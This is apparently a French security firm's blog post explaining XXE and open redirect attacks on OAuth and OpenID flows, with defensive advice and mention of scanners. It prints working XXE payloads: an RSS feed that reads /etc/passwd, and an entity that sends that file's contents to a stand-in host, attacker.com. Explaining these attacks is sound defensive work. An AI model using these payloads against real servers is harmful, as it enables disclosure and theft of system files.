openid-logo-wordmark

Récemment les attaques XXE et “Open Redirect” ont refait surface en s’appliquant à des protocoles d’authentification fédérée et unique tel que OAuth ou encore OpenID.

Les flux de ces protocoles sont généralement assurés au travers d’échange XML et effectuent des redirections vers les services cibles une fois l’utilisateur authentifiés. Ils sont employés par de nombreux services de renoms en ligne (Google, Facebook, Twitter, etc), jugés fiables et de confiance.

OAuth :

OAuth est un protocole libre, créé par Blaine Cook et Chris Messina. Il permet l’authentification d’un site web utilisant l’API sécurisée d’une autre application.
OAuth permet aux utilisateurs de donner, à un site « consommateur », l’accès à des informations personnelles provenant d’un site « fournisseur » de service ou de données, ceci tout en protégeant le pseudonyme et le mot de passe des utilisateurs.

OpenID :

OpenID est un système d’authentification décentralisé qui permet l’authentification unique, ainsi que le partage d’attributs. Il permet à un utilisateur de s’authentifier auprès de plusieurs sites (devant prendre en charge cette technologie) sans avoir à retenir un identifiant pour chacun d’eux mais en utilisant à chaque fois un unique identifiant OpenID. Le modèle se base sur des liens de confiance préalablement établis entre les fournisseurs de services et les fournisseurs d’identité (OpenID providers). Il permet aussi d’éviter de remplir à chaque fois un nouveau formulaire en réutilisant les informations déjà disponibles. Ce système permet à un utilisateur d’utiliser un mécanisme d’authentification forte.

Les échanges XML assurés par le protocole OpenID vers des plateformes importantes, comme Facebook, peuvent être manipulés par un assaillant afin d’inclure des “entités externes”. C’est ce que l’on nomme les attaques XXE pour “XML eXternal Entity”. Ce type d’attaque exploite les entités externes (fonctionnalité XML) afin de fournir au développeur la possibilité de définir leurs propres entités XML arbitraires.

Fonctionnement des entités XML :

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE x [
	<!ENTITY author 'SYNETIS'>
]>
<tag>&author;</tag>

Un exemple simple d’injection XXE pourrait se faire par le biais d’un flux RSS. Un assaillant génère un fichier RSS contenant un vecteur d’attaque XXE qu’il met en ligne, puis il intègre son propre flux RSS dans des agrégateurs publiques (l’ancien Google Reader, Feedly, etc).

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE x [
	<!ENTITY passwd SYSTEM 'file:/etc/passwd'>
]>
<rss version="2.0">
	<channel>
		<title>RSS feed vulnerable</title>
		<description>Content of /etc/passwd</description>
		<item>
			<title>/etc/passwd</title>
			<description>&passwd;</description>
			<link>https://www.synetis.com</link>
		</item>
	</channel>
</rss>

Si les agrégateurs sont vulnérables aux injections XXE, alors le contenu du “/etc/passwd” du serveur sera visible.

Bien évidemment, les résultats issus du traitement d’un fichier XML avec des vecteurs d’attaques XXE ne sont pas toujours visibles pour l’assaillant. Celui-ci peut donc opter pour rediriger la sortie du moteur XML ciblé vers son propre site :

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE x [
	<!ENTITY passwd SYSTEM 'file:/etc/passwd'>
	<!ENTITY passwdsender SYSTEM 'http://attacker.com/get.php?file=&passwd;'>
]>
&passwdsender;

Ces vecteurs d’attaques XML ont été exploités dernièrement à l’encontre de services connus comme Facebook ou encore GitHub. L’exploitation de ces dernières a été revelée au travers des “bounty program” des sites cibles.

Un serveur de la plateforme communautaire Facebook a ainsi été compromis (Local File Disclosure et Remote Command Execution), tout comme GitHub avec un “Path Transversal” via un paramètre de redirection détourné.

Détection et protection :

La plupart des solutions qui exploitent ce type de protocole doivent impérativement appliquer des contrôles quand aux données traitées que l’utilisateur peut manipuler.

Pour les XXE, l’utilisation d’entité externe est à activer qu’en cas de réelle nécessité au niveau de l’analyseur syntaxique, et leur valeur doit être vérifiée. Pour les Open Redirect, il convient de s’assurer de la légitimité du site de redirection (zone de confiance, même domaine, etc).

Des solutions de détection / prévention tel le très connu scanner de vulnérabilités Acunetix, ont intégré dans leur moteur d’analyse les profils de ces types d’attaques. Il est maintenant possible avec les dernières versions de ces produits d’identifier des faiblesses applicatives au travers de ces protocoles.

Dans le cadre d’Acunetix, la découverte de vecteurs d’attaques XXE (sur une cible Drupal dans l’exemple) se représente ainsi :

XML-external-entity-injection-drupal

SYNETIS ne peut que vous encourager à adopter les bonnes pratiques de sécurité au regard de ces protocoles d’authentification de plus en plus employés et adoptés. Des attaques pouvant compromettre des systèmes critiques peuvent être menées sur ces protocoles. La connaissance de ces vecteurs d’intrusion, de leurs parades et des outils d’analyse/prévention sont pour nous indispensables pour conserver l’intégrité des systèmes.

Sources & ressources :

Yann

Consultant sécurité